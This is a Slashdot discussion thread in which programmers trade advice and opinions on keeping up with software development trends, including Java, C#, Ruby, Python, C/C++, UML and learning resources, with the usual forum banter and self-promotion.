  21. Local State Unemployment Office by Anonymous Coward · · Score: 0
    There you can get the latest postings of jobs for employers that want H1-Bs but need dummy shills (that's you, sucker) to interview and reject, so employers can say that they've already looked and could not find U.S. programmers qualified to take the job.

    Doesn't matter what your qualifications are, you can apply, but you're not qualified.

  22. Look at C++/CLI by Tarydon · · Score: 2, Informative

    The C++/CLI language looks interesting. You can download the spec from http://www.ecma-international.org/publications/sta ndards/Ecma-372.htm. Yes, it is Microsoft grown, but they seem to have some good people on the design team (Lippman, Sutter) and it's nothing at all like the mess that Managed C++ was. It's worth looking at if you want to keep abreast of 'current trends'.

    1. Re:Look at C++/CLI by Mr.+Feely · · Score: 2, Interesting

      Ugh. I don't denigrate the talent and effort that went into C++/CLI -- it is a valiant (and largely successful) effort to integrate the CLI programming model into C++. But it buys little expressive power over C#, at the cost of a much more complex syntax. Unless you're a language fanatic or are looking to create a CLI interface to unmanaged C++, you'd be best off avoiding it entirely in favor of C#.

  23. Entrepreneurship by jawahar · · Score: 1

    OTOH I will recommend you become an entrepreneur.

  24. You mean you don't know? by Telastyn · · Score: 1

    Seriously, if you have even a modicum of skill/experience, it should be easy to identify who else has better skill/experience and take their opinions on matters. Things that aren't fads will generally have everyone who is really good touting it (or at least not knocking it). Fads will generally have a few good people touting it, but most disregarding it or knocking it outright.

    Good programmers won't knock or promote languages or technologies out of whim or fad or zealotry; they'll promote something they like and at least give grudging respect to good stuff they don't like.

    1. Re:You mean you don't know? by DahGhostfacedFiddlah · · Score: 1

      Good programmers won't knock or promote languages or technologies out of whim or fad or zealotry;

      Yes they will - they're prone to the "Go Team!" mentality as much as anyone else. The emacs/vi dichotomy is a bit hyped, but the cliche is there for a reason - there really were (good) programmers who hated emacs/vi, and wouldn't give so much as grudging respect to it.

      So basically, ask for a reason *why* a technology is bad if you get conflicting reports. If you get a rant, it's probably emotion getting in the way of reason.

  25. It's not about the language any more by Animats · · Score: 1
    As Joel points out in "Joel on Software", the language isn't the big issue any more. It's the libraries. Learning another set of a few thousand things you can call, where a measureable fraction of them are broken or don't meet their specifications, requires time and practice.

    And it's so unrewarding, because you're expected to work around the flaws in the libraries. I miss aerospace, where, when a vendor doesn;t meet specification, the contracts people pound on the vendor until it's fixed.

  26. Podcasts by Jagungal · · Score: 1

    I find podcasts a great time saver for keeping up with things you are interested in. Not all of mine are technology or computer related but several are.

      Although not the only source of info, you can listen to them on your commute or while doing other mundane things.

      As for Java, I find http://javaposse.com/ a great listen with interesting bits of info even if I don't agree with everything they come out with.

  27. In a nutshell... by SoupIsGood+Food · · Score: 4, Funny

    1) The biggest news in Java is that you don't have to program in Java anymore. Popular languages like Python, Ruby and Eiffel(HA! Loser.) have all been ported to the Java VM, and have access to to the Java libraries, in addition to the Python/Ruby/OCaml(HA! Loser.) libraries.

    2) You will only ever need to know Java, Ruby or Python to make it as a Web Programmer.

    3) RoR is teh hawt. On the Java side, knowing Spring, Hibernate, struts, jUnit, JSF and (hold your nose) Beans will get you far. Python? HA!

    4) Python was in, now it's on its way out. Python geeks can keep the perl geeks warm when it snows. Take comfort, the Ruby guys will be there to huddle up with you in five years. PHP guys don't get paid, but will be wanted by people who don't like to pay programmers.

    5) C++. How quaint. You must have come from the game programming field. Perhaps you should go back there? We sure as hell don't want you. Go and keep the LISP guy company at the geezer end of the bar.

    SoupTellsItLikeIt Is

    1. Re:In a nutshell... by colmore · · Score: 2, Interesting

      PHP was a a great little language for little webapps. Web programming has become about a lot more than validating forms though, it's limitations have become a little too obvious.

      Perl had a killer head-start because in 1996 nobody did CGI like Perl did CGI. But Perl is s system glue language. It's a mighty system glue language, and there will always be work for Perl gurus, since all those custom scripts holding the infrastructure of every Unix shop on earth together are always going to need maintanence and updating. But as a glue language, it's a little sticky for web development.

      I was never taken with Python, it's got some great ideas, and a really well optimized interpereter, but there's just too much hand-holding, and it doesn't do OO. Python's brief success was a result of frustration with Perl.

      Java is all about huge teams. Namespaces namespaces namespaces, and all that. I can't say much, I was never a CS student, and my idea of fun isn't being a cog in a 50 person, 18 month project. In my experience, development starts to factionalize once you've got more than 5 people working, and suddently you need an -ugh- project manager. I like a small team where everyone trusts everyone else, everyone is looking over everyone's shoulder fixing each others problems, and SVN is sufficient for keeping you off each others toes. In that kind of environment Java is just overkill.

      Ruby is succeeding because it's learned the lessongs of Java: it's all about the frameworks. With absolutely *beautiful* syntax for everything from polymorphism to lambda functions, and an intelligently lax approach to syntax and typing (rather than statically type, treat absolutely everything as an object, and make it easy for objects to pretend to be one another) it's easy to write powerful frameworks that feel like extensions to the base of the language.

      This could be dangerous of course, if they were to approach development like Sun's warring houses, but the Ruby community seems to be rabid about keeping things clean, simple, and consistant.

      Hype is hype, and I'm always wary of it, but Ruby is just so niiiiice. I'm not sure if Rails will be around in 5 years, but I'm pretty sure that Ruby, and something related to Activerecord (the independant database abstraction class that Rails is built upon -- really check it out, it's simultaneously absolutely minimal and perfectly sufficient, you'd think it was running on Swiss cams and gears rather than code) will be.

      --
      In Capitalist America, bank robs you!
    2. Re:In a nutshell... by meowsqueak · · Score: 1

      "Python doesn't do OO" ??? What do you consider is missing?

    3. Re:In a nutshell... by colmore · · Score: 1

      I misspoke. Python, of course, HAS object orientation, but I don't really consider a language (ESPECIALLY) a scripting language to be object oriented unless it's structured in such a way to make object orientation the simplest and most direct approach to most problems.

      There are a whole LOT of 2000 line procedural python programs out there. Nothing wrong with that, but it speaks to the nature of object orientation in python.

      This criterion obviously doesn't apply to compiled languages, where languages are chosen more on the existance of features rather than their comparative ease. I'd hardly say that C++'s object model is elegant the way Ruby's or Smalltalk's is, but if you weren't doing objects, you'd be using C, so C++ code is overwhelmingly object oriented.

      The culture behind a language is as important as its formal specification. You can do a lot of python hacking without ever encountering a user-defined object. It's similar to the way that Perl isn't obfuscated by design, but the community of Perl system hackers has a thing for terse little brainteasers, so hacking Perl means dealing with the occasional mindfuck. It's, in effect, part of the language.

      Until I started programming Ruby, I'd only make my big important central data structures objects. My response to OO was generally "yeah, I could go through all that nonsense, or I could, you know, just write the damn program." Ruby makes OO so easy you almost can't avoid it. It's done a lot for my coding in other languages. Ruby is to OO as Lisp is to lambdas and recursion.

      --
      In Capitalist America, bank robs you!
    4. Re:In a nutshell... by Anonymous Coward · · Score: 0

      > I misspoke. Python, of course, HAS object orientation, but I don't really consider a language (ESPECIALLY) a scripting language to be object oriented unless it's structured in such a way to make object orientation the simplest and most direct approach to most problems.

      you mean either all (ok, "most") or nothing? Bad approach...

  28. What would I do? by LordNightwalker · · Score: 0, Redundant

    suppose you wanted to stay on the forefront of Java based web development, what would you do?

    Kill myself.

    --
    Install windows on my workstation? You crazy? Got any idea how much I paid for the damn thing?
  29. C/C++ by SirSlud · · Score: 2, Insightful

    Thats it. Know how to program in C/C++ and you will find a job.

    What it really comes down to is knowing your data structures, knowing how much memory you're using, knowing how brutal your algorithms are, knowing the time to add/remove/find elements in your structures, and once you know C/C++, everything is a cakewalk. Seriously. Jesus I still wish I was doing web programming, where wasting massive cpu was okay. Learn C/C++ and find a job where you need to keep things speedy like games or web servers that need to deliver massive amounts of requests per second. Spend 2 years doing that, and you'll need and know everything you need to know for a career in programming.

    --
    "Old man yells at systemd"
    1. Re:C/C++ by heinousjay · · Score: 1

      I know there's a (mistaken) tendency to believe web programming is some simplified version of the real thing, but how did you get the idea that wasting resources is okay? Just because there are poor programmers out there who don't know how to keep things tight doesn't mean we all code that way, you know.

      --
      Slashdot - where whining about luck is the new way to make the world you want.
    2. Re:C/C++ by Anonymous Coward · · Score: 0

      Because most web monkey's I've seen couldn't code their way out of a wet paper bag?

      Granted, displaying shiny things or other flash, they may be good at...

    3. Re:C/C++ by Viol8 · · Score: 3, Interesting

      I think he was probably refering (correct me if I'm wrong grandparent poster) to that
      bloatware that is used to run web apps these days (Hello IBM , are you listening?) and
      not necessarily the coders themselves. Though IMO web programming is a bad place to
      learn how to code , even java , since you don't have to worry about memory management
      etc you can program somewhat sloppier than if you had to do C or C++.

      In fact I'd go so far as to suggest that ALL coders should do at least a few months
      of C (not C++) or even assembler coding so they get a real feel of what really goes on
      with memory, cpu, interrupts etc and so a better feel of how a computer really works.

    4. Re:C/C++ by wandazulu · · Score: 1

      Not only do I concur, but I would argue that anyone who is going to do anything remotely graphical should spend some time learning about window regions, bitblt, things like that. I'm not saying they have to do it all, but show them what it takes just to draw a line on the screen, and keep it there (or move it around with a mouse). *Then* you'll not only get an appreciation for the amount of memory and cpu spent, but what it takes to actually display all that eye candy on the screen.

      I was mostly a back-end systems programmer until I got a job writing real-time charting software...you learn to optimize *everything* in a hurry because you can't waste time blt'ing to the screen. Taught me an *enormous* amount of how computers work, and the respect for people who write anything graphical.

    5. Re:C/C++ by DahGhostfacedFiddlah · · Score: 1

      As someone who started out with C++ and moved to web programming, I can tell you web programming has totally ruined me if I ever want to do something speedy. I'd have to take a few weeks and a few test programs to unlearn the bad and relearn the good.

      Releasing memory? Pointers? Anything I write now is going to be eating memory and segfaulting like mad.

      That said, web programming is fun. It's instant gratification, and you can ignore so many of the worries you had when you were programming C/ASM.

    6. Re:C/C++ by SirSlud · · Score: 1

      Its not a simplified version, but web coding in Java, python, PHP, etc requires you to actually know MORE rather than less. That is, you have to know how the language is allocating and releasing memory, how its actually running the code, how its dealing with I/O .. my point is that the lower level languages teach you to at least have a hint or an idea about how your interprative parser or byte-time compiler actually optimises what you code. Any experience with lower level programming helps you understand how your code is ultimately going to affect performance.

      I will readily admit that I've never coded in assembler, and I think its a fact of life that this damages my ability to understand how my C code will affect performance. If you're writing in most 'web' languages (I do use that term loosely, bcause they are very useful for non web applications as well), you have yet another layer between you and knowing what idiosyncratic assumptions lie between you and the CPU.

      I coded in PHP and some Java for 4 years, along with C++, so don't get me wrong. I don't say 'web programmers' and assume bad programmers. I'm just stressing the value of programming in languages that arn't as easy to program in; they tend to teach you more about the layers your code goes through until its executed.

      --
      "Old man yells at systemd"
  30. Java Posse by akuzi · · Score: 3, Informative

    > Suppose you wanted to stay on the forefront of Java based web development, what would you do?

    To keep up with what's happening in the Java world, I'd recommend listening to the excellent Java Posse podcast and as well as reading The Server Side.

  31. Re:Monked by Anonymous Coward · · Score: 1, Informative

    Again with the malicious code?

  32. Leader? Or follower? by Anonymous Coward · · Score: 0

    "Ultimately though, its keeping up with these trends and trying to figure out what's a fad versus what's actually useful that's the difficult part. What do some of you do to keep up with the trends?"

    You have two choices. You can either be the one who starts a trend, or the one who follows it. I personally prefer the former, were I can do what I want, and the results are followed by those who see the good in what I'm doing. The latter you hand control over to others (with all that implies).

  33. Re:learn fundamentals EX: realational database by Anonymous Coward · · Score: 0

    relational database: http://en.wikipedia.org/wiki/Relational_database

    "A relational database is a database structured in accordance with the relational model. Strictly speaking the term refers to a specific collection of data but it is invariably employed together with the software used to manage that collection of data. That software is more correctly called a relational database management system (RDBMS). Relational database management systems incorporate many features from the relational model, but commercial RDBMSs also tend to diverge from the relational model in significant ways."

    SQL like an abstract RDBMS. It's focused on geting things done vs set thery and it "diverge from the relational model in significant ways".

  34. Read Slashdot by wysiwia · · Score: 5, Insightful

    Read Slashdot of course!

    Yes. Slashdot has quite a reputation for attracting knowledgeable people, yet be aware that some are rather biased towards OpenSource. And don't forget that people who do OpenSource (me including) have a rather absolute opinion. So as long as you are a little sceptic you should be able extract the trends.

    As you mention Java you may well notice that currently any Java discussion always tends toward flame wars. Flame wars are always signs that something isn't good, that the there isn't an uphill trend. Flame wars always arises when the future (a trend) isn't going as wished.

    I'm probably much biased but IMO the future trend in software development is "cross-platform". So far for many years you could do resonable cross-platform development only with Java. Today you can equally well do cross-plaform development with AJAX or with wyoGuide (binary applications, http://wyoguide.sf.net/). So regardless which of the different technology takes the lead, cross-platform development will increase to the point where single-platform development won't be accepted.

    O. Wyss

    --
    See http://wyoguide.sf.net/papers/Cross-platform.html
    1. Re:Read Slashdot by Gorshkov · · Score: 1

      I'm probably much biased but IMO the future trend in software development is "cross-platform". So far for many years you could do resonable cross-platform development only with Java. Today you can equally well do cross-plaform development with AJAX or with wyoGuide (binary applications, http://wyoguide.sf.net/). So regardless which of the different technology takes the lead, cross-platform development will increase to the point where single-platform development won't be accepted.

      Ok, so call me an un-trendy old-fart. Let's see ..... a quick review of my resume since 1980, when I first became a programmer .....

      Fortran and Cobol that would run on IBM, Amdahl, CDC, and Dec computers with only a recompile

      C Code that in some cases I originally wrote on CP/M, still in my libraries, that I still use on Linux today.

      Many, many applications I've written over the years on one platform that I have also run on many, many OTHER platforms.

      A portability library I wrote years ago for a company I worked for so that their unix applications could be compiled on windows without having to make source code changes

      An application I'm in the middle of developing now that builds and runs identically on both windows and linux

      All of this is in C. No, I'm not the old dog that can't be taught new tricks - I've probably got 30 or 40 languages on my resume. But I have found that over the years, in spite of the language de jour, the reality is that languages are not, nor have they ever been, nor will they EVER be, a magic bullet.

      There is still no substitute for competence, and knowing what you're doing.

    2. Re:Read Slashdot by wysiwia · · Score: 2, Insightful

      Ok, so call me an un-trendy old-fart. Let's see ..... a quick review of my resume since

      1980, when I first became a programmer .....

      I wrote my first Fortran program in 1974 and it work fine on an IBM computer and a few years later on a Digital PDP-11. Albeit it was my first cross-platform code, there's no way to sell it these days.

      ... that languages are not, nor have they ever been, nor will they EVER be, a magic bullet.

      Languages were never the problem and even for the same task several different languages could be used. But you can't expect users to enter countless numbers on a console or copy back the resulting numbers. So even if you code a simple square root function you have to code a GUI around which is many times more code than the function itself. Yet if you want to sell your function depending on its kind users expects sufficiently good look&feel.

      O. Wyss
      --
      See http://wyoguide.sf.net/papers/Cross-platform.html
  35. User Demands? by Fulcrum+of+Evil · · Score: 2, Insightful

    Trends are constantly changing, upgrading, or become popular due to high end user demand

    Why the hell should users care what language their stuff is written in? They're USERS!

    --
    "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    1. Re:User Demands? by Blakey+Rat · · Score: 1

      I love the OS X apps that loudly proclaim that they are 100% Cocoa, as if somebody gave a crap.

  36. Mastering it will take a lot longer by grahamsz · · Score: 4, Interesting

    I figure learning that language will take me about a day and a half.

    True, C# isn't a hard language to learn. I find it a little disjointed as I'm primarily a Java guy, but it's simple to understand.

    The problem with C#, or indeed Java, is that the API and associated frameworks do so much for you, but take a long time to master. Some of my early Java code is needlessly verbose because i simply didn't know that the API made certain functionality available. Now that i'm competant in a small number of frameworks and have better learned the development tools, i find i can work a lot faster.

    It doesn't take long before you become so used to the framework that programming in C or asm seems like reinventing the wheel.

    1. Re:Mastering it will take a lot longer by DahGhostfacedFiddlah · · Score: 1

      I learned Java in school, and am starting a new project on it. Just a quick look at the docs tells me that it really does provide everything to everyone.

      So I've found it's better to spend 2 hours just searching the web exhaustively than try to write anything I'm not *absolutely sure* is unique to my project.

  37. Keep track of trends as a hobby. by Cyberhawk · · Score: 1

    Professionaly, it is not only hard, but also a suicidal move. Read some Joel to understand.

  38. Re:Trends? Um, no... by clickclickdrone · · Score: 1

    Why is this marked as Troll?

    --
    I want a list of atrocities done in your name - Recoil
  39. Just write good code by obnoxiousbastard · · Score: 1

    Screw fads. They are for Lemmings that chase the heard.

    Learn how to program. Lot's of people can code. Real programmers are rare.

    Become intimately familiar with the language that you are programming in. Learn to think in that language and you'll stand out.

    We could doubtless have hours of debate on the virtues (and follies) of structured design and programming, object-oriented design and programming, etc. We might even have a few devinely inspired programmers who will tell you that is how Jesus told me to do it.

    I'll make it real simple: If you write good, solid code then you'll be miles ahead of the rest of the crowd.

    --
    Is that a SCSI connector or are you just glad to see me?
    1. Re:Just write good code by Anonymous Coward · · Score: 0

      "They are for Lemmings that chase the heard."

      At least the heard are being heard by the herd... is that Engrish thing a little too confusing for you?

  40. books by devonbowen · · Score: 2, Informative

    My algorithm is to read Slashdot regularly to look for things that I haven't heard of (usually in the comments, not necessarily articles). When I see a new language or methodology that seems to have a few positive comments written about it, I find a definitive web site and download some pdfs, do some tutorials, or go to O'Reilly and read a book about it (a Safari subscription is nice for this). It works well. It takes some time and effort but I end up with in-depth knowledge (not just buzzwords) about pretty much everything that is relevant. Magazines and such are a total waste of time.

    Devon

    1. Re:books by smishra · · Score: 1

      I agree. I pretty much follow the same algorithm. Slashdot is invaluable. In addition if you are the builder type I would recommend Makezine Blog

  41. No tricks, just consistent hard work. by porsche911 · · Score: 5, Informative

    1. Plan on studying something new every 12-18 months.
    2. Don't just concentrate on technologies. Study Project Management, Emotional
        Maturity, Presentation skills and public speaking. Think of yourself as an
        investment, you want to hedge your down-side by making sure you have skills
        completely outside the particular situation you are in at any given time.
    3. Review yourself every 6 months or so. Are you stuck in a learning rut, continuing to
        read the same types of junky "Visual Basic in 21 nanoseconds" or are you actually
        challenging yourself?
    4. Review the basics every so often. Go back and read a deep book on analysis of
        algorithms or databases or language design.
    5. Try to push yourself out of your comfort zone every few years.
    6. Don't get too hung-up on the buzz-word du jure. 90% of them will last a millisecond
        in your career.
    7. Treat everyone you come into contact with as a teacher.

  42. Economics. by Anonymous Coward · · Score: 0

    what would you do?

    Nothing, apart from maybe reading my favourite computer magazine and some good news website. What ppl call "trends" is to a major part companies trying to establish their products and producing corresponding marketing hype. Trying to follow all those is like watching commercials all day and then run and buy all of those products. Especially, you're always behind and likely subject to constant frustration. So if you stumble across something which really seems interesting try and make sure it's worth your time, then just do that and do it thoroughly. Even better, set a trend yourself and let others dig through the stuff you are doing.

  43. keeping up... by Kranfer · · Score: 1

    Usually, the way I keep up is well... checking slashdot, but not only that I also check out new and upcoming releases of programming books on Amazon.com. For instance I did not really look into AJAX until I started seeing a lot of information out there about it, such as books (WROX has a really good one cannot think of the title though). But usually I do not learn a new fad/trend until I see people actually using it in the work environment or seeing it being talked about a lot by my fellow developers. I see no reason to waste my time on something if its not going to stick around.

    --
    -- Josh
    "Whoopie! Man, that may have been a small one for Neil, but that's a long one for me!" - Pete Conrad
  44. Get A Cardboard Sign... by Anonymous Coward · · Score: 0

    and stand by the road with the other programmers. If you're nice and not too territorial, they'll share tips with you.

  45. Forget the programming! by s31523 · · Score: 1

    Programming languages are just tools, you want to keep up on the trends? Learn more about how best to use the tools. Employers now are more and more concerned with getting a high quality product out the door in a reasonable time and the claims of using OO or structural langauages are just hype.

    It is the developemnt strategy that will either make or break a project. Knowing the latest trends on requirements capture, design, testing and coding techniques for your niche and knowing how to adapt and taking pragmatic approaches will be far superior than knowing the latest trends in programming languages

  46. COBOL by Anonymous Coward · · Score: 0

    I've stuck with it. Strangely enough, it's worked for me. Go figure. :-|

  47. A Timeless Way of Building by Sigfried · · Score: 2, Interesting

    Few IT people, even those who understand Patterns methodology, have ever read the original works by the architect Christopher Alexander. His book A Timeless Way of Building is a masterpiece of design philosophy, that describes the Way of building anything, from a single chair, to a house, a neighborhood, a city, a program, a world, or even a life. Shut down your browser, skip a couple of RSS feeds, and take the time to read this charming little book. My two cents.

  48. Re:learn fundamentals EX: realational database by Anonymous Coward · · Score: 0

    >>SQL like an abstract RDBMS.

    No. It's not. Why is this so hard for you to understand?

    Is HTTP like a webserver?

  49. Can you be GOOD at C# in a day in a half? by JoeCommodore · · Score: 1
    Getting the gist of a language is one thing, but to be able to use it for what it is intended is another. I am sure you will be writing Hello World in a few hours at most but I am sure it will take you at least a few months to get into the groove with what makes C# (or any other langiuage) unique for whatever you are doing.

    If you came into my office and said "Well, I don't know language X but I should be able to knock out production code with it in a day and a half would give me the willies."

    Just think of PHP, easy to learn, easy to exloit noob code.

    --
    "Enjoy what you're doing! If it becomes drudgery, you're doing it wrong!" - Jim Butterfield
  50. No one by Anonymous Coward · · Score: 0

    They were moderated Informative.

  51. Don't learn individual trees, learn the forest by gwalcharian · · Score: 1

    As has been pointed out elsewhere in this thread, the old adage is true that learning a new language is easier once you know programming/engineering basics. But only so far. Each time you learn a new language you learn a new way of looking at design problems, and add a new tool to your work bench.

    What has helped me more than anything is refining my ability to see the pattern in problems, and refining my problem solving skills.

    I'd read anything by Joel, Martin Fowler, and what interests you among Oreilly's new books, and I'd use it. Again, as has been pointed out, you won't truly learn it until you've used it. There's some Hemingway quote about not being a writer until you've written 1 million lines or some such. Maybe something similar applies to engineering...not an engineer until you've successfully solved 500k problems, unsuccessfuly worked on 500k (But know why they didn't work). Batting averages vary, and will get better as you improve.

    All of the above is rehash, so here's something new (somewhat):

    1. IMHO you've got the wrong order: Don't read books then try something.
    Instead try something new, if you run into a road block buy a book on the aspect that's a problem, learn why it's a road block and finish the problem.

    2. Learn how to see patterns. Not Gang of Four patterns, but how pieces of an architecture interoperate and exchange data, how they work together, and why they work together.

  52. InfoQ.com tracks innovation in development by fmarines · · Score: 1

    InfoQ.com just launched a few weeks ago, it's a new site whose purpose is 'tracking change and innovation in enterprise software deveopment'. They are covering Ruby, Java, .NET, Agile, and SOA.Its organizers include Scott Ambler, Floyd Marinescu, Obie Fernandez, Alexandru Popescu and other big names from the various different communities.

    The site is one of the only communities serving Ruby with regular books, articles and such, and I (the former creator of TheServerSide.com) am writing about Java on it, on a regular basis, so it's probably one of the most detailed ways to track innovation in Java. Best of all, it's got some personalization capabilities that let you turn off topics you don't want and those even reflect in your RSS feed.

    Floyd

  53. Re:Trends? Um, no... by anomalous+cohort · · Score: 1
    Your focus shouldn't be on tracking and staying on top of all the trends.

    The original poster wants to stay on top of trends. I mean no offence but is it really your place to dictate to the original poster his or her interests?

    A heads down coder doesn't need to be on top of the latest trends but an architect does. When asked why a certain technology was included or omitted, the architect should be able to give a knowledgable answer in order to be perceived as credible. An answer of ignorence (i.e. I never heard of that) doesn't buy you much credibility.

  54. What's with the UML hate? by MagikSlinger · · Score: 1

    Seriously. Why?

    --
    The bitter lessons of a veteran coder: http://bitterprogrammer.blogspot.com
    1. Re:What's with the UML hate? by nbehary · · Score: 1

      Me personally? Maybe I've just never programmed in a place to use it. I guess my problem is I see it being used wrong, or what I think is wrong. It's like telling someone (like me) still in the Structured World that flowcharts are the answer to everything (people still think this).....both have their places, but I guess I miss how UML is more than a complicated flowchart. (and, again, I'm probably woefully misinformed.....)

    2. Re:What's with the UML hate? by MagikSlinger · · Score: 1
      both have their places, but I guess I miss how UML is more than a complicated flowchart. (and, again, I'm probably woefully misinformed.....)

      UML is a consistent diagramming practice for all parts of the system. You can use as little or much as you want. Generally speaking, you only need to go to insane details when using a CASE tool like Rational Rose, or you have a need to really define something to the letter (like a real-time system). The best part of UML is clearly showing how classes are related to each other. I don't use UML down to the lines of code, but I do use UML to describe high-level architecture and deployment (which bits run on which server and what is that server anyway?). Sometimes I use the activity diagram to help with me see complicated interactions.

      But if no one takes you through the steps of learning UML and how to use it properly, it can seem like a useless, over-complex mess. :-)

      --
      The bitter lessons of a veteran coder: http://bitterprogrammer.blogspot.com
  55. Block out time for fun/research by John_Booty · · Score: 1

    Give yourself some time each week to play with new "stuff". Download some new development environments and play with them.

    As for choosing what "stuff" to download and explore? Just surf around, subscribe to some development-oriented RSS feeds in a decent newsreader, see what the buzz is about. Some of the buzz is justified, some isn't, but following the buzz with a healthy dose of skepticism and a big grain of salt is tons more effective than just flailing around in the dark.

    The big challenge, of course, is blocking out time to do this on a regular basis. I've only been semi-successful (and that's putting it nicely) at that part of things myself. But when I do block out time, it's pretty rewarding.

    Sometimes buying a book on a topic is a good motivator, too. Get a nice book stand that you can sit next to your monitor (or a second monitor and a subscription to O'Reilly Safari so you can read online!) and work your way through the first few chapters. That will give you a good feel for if it's something you want to continue with. Sure, books are expensive but consider it a small cost in the larger game of working in a field that generally pays nicely.

    --

    OtakuBooty.com: Smart, funny, sexy nerds.
  56. urk by Gorshkov · · Score: 1

    suppose you wanted to stay on the forefront of Java based web development, what would you do?"

    I'd find a sword and fall on it.

  57. Programming trends by ArmpitMan · · Score: 5, Informative

    You want to know the latest trends for Java-based web development? Fewer and fewer people are going to be doing Java-based web development in the future.

    Fuck trends. They're wrong. Every day the industry continues to stay with its current ridiculous technologies when vastly superior ones were invented decades ago infuriates me further. If it doesn't infuriate you, you're not paying close enough attention.

    My advice: read Lambda the Ultimate and Steve Yegge's blog. Endeavor to learn what the lambda calculus and referential transparency are. If you are sincerely interested in bettering yourself as a programmer and don't go find out who Alonzo Church was then so help me God I will kick you in the balls. Learn about SML and type inference. Learn about Haskell and monads. Learn about process calculi and Erlang. Learn about Lisp and code generation and domain-specific languages. Learn about Scheme and lexical closures and continuations. Learn about Smalltalk and what OO was really supposed to be. Learn about type theory and formalism and the Curry-Howard correspondence. Learn about Forth and Joy and how you can have a powerful, expressive language without even so much as a grammar. Learn about Intercal and Befunge and just how badly your choice of programming language can torture you. Learn about UML and Ruby on Rails and Seaside and agile programming and Java generics and Python generators. Learn about aspect-oriented programming, context-oriented programming and concept programming. Learn about multi-paradigm languages like OCaml or Oz. Learn about weird Lisp dialects with syntax like Rebol or Dylan.

    Realize that library design is language design. Realize that asynchronous programming with callbacks and explicit state in a world where lightweight coroutines were around in the days of fucking Simula in the 60s for Christ's sake is cruel and unusual torture. (Sorry, pet programming construct.) Realize that the programming language research community, while considering systems programming a solved problem and generally not interested in talking about human factors, is doing some genuinely promising work. Did you know that there are conc

    1. Re:Programming trends by jgrahn · · Score: 1
      Fuck trends. They're wrong. Every day the industry continues to stay with its current ridiculous technologies when vastly superior ones were invented decades ago infuriates me further. If it doesn't infuriate you, you're not paying close enough attention.

      What infuriates me is when the industry "invents" and hypes a technology which was invented decades ago -- and does it badly. "Those who do not understand Unix", et cetera.

    2. Re:Programming trends by i_finally_got_an_acc · · Score: 1

      This comment resonates with my soul so much that I am going to bookmark it.

      --
      "I'm not religious, but at the same time I don't get why science always has to have something to prove."
  58. Learn what not to do: thedailtywtf.com by Anonymous Coward · · Score: 1, Funny

    Learn what not to do by periodically visiting http://thedailywtf.com/

  59. Keeping it simple. by Anonymous Coward · · Score: 1, Insightful

    I will just answer your question. Since you asked for *what* you would do to keep with trends and not *whether* you should keep up with trends (that is a seperate discussion)

    - Tinkering with technology is key. Learning to program is an iterative process. Download the tools, look at the demo code. Mess
        with it. See what happens. Break it, fix it. Don't read a book just yet. Experiment first.

    - If you are stuck. Google for forums, start asking questions on the newbie section. Make sure you stick to the "newbie" section
        if you think you are one. Posting simple questions on the advance section will just frustrate everybody.

    - If you really want to get to know the trend. Cook up a personal project. Set goals (reasonable ones). Make sure the project
        solves a realistic problem/need. Start working on the project. Seek help from forum on the project. If your project is an
        interesting one maybe someone will volunteer to join in. Seek sourceforge/java.net or sites that allow for team projects to
        reside.

    - Read book on what you are experimenting (This is really the last resort). I usually don't have the patience to go through a book
        There is plenty of "quick and dirty" info online and reading book would be only in cases where you are trying to evaluate a
        vendor specific technology and the vendor insist on you buying a book or paying for a subscription to get to know their
        technology (vendor = Microsoft). I think we will make contact with alien life before Microsoft makes Visual Studio
        freely available for download. The former is more likely to happen than the latter...

        Anyways.. you get my drift.. just be interested in what you do and the rest will follow.

  60. Don't Follow by tedgyz · · Score: 2, Insightful

    In general, avoid the trends. Stay away from magazines - they are the greatest purveyors of trends. I generally wait until the technology has matured. It will either die on the vine, or fix the most annoying issues. For example, early versions of JSP were pretty horrible, but now it is the cornerstone of the web apps that I build.

    Boring anecdote: I am glad that I fended off the EJB hype. Now, most of the industry has realized what I suspected all along - EJBs are mostly useless and usually create more problems than they solve. About 5 years ago I had a technical manager that insisted we use EJBs for all our new development. I resisted the best I could. One engineer on the team even proved that for database access, the EJBs were 10x slower. The manager didn't seem to care. We ended up putting in enough EJBs to satiate his mandate, but mostly avoided them like the plague. EJB == Extra Java Bloat

    --
    "No matter where you go, there you are." -- Buckaroo Banzai
  61. unified structured inventive thinking by usidoesit · · Score: 0

    USIT. learn it. it represents 50 years distillation of problem solving.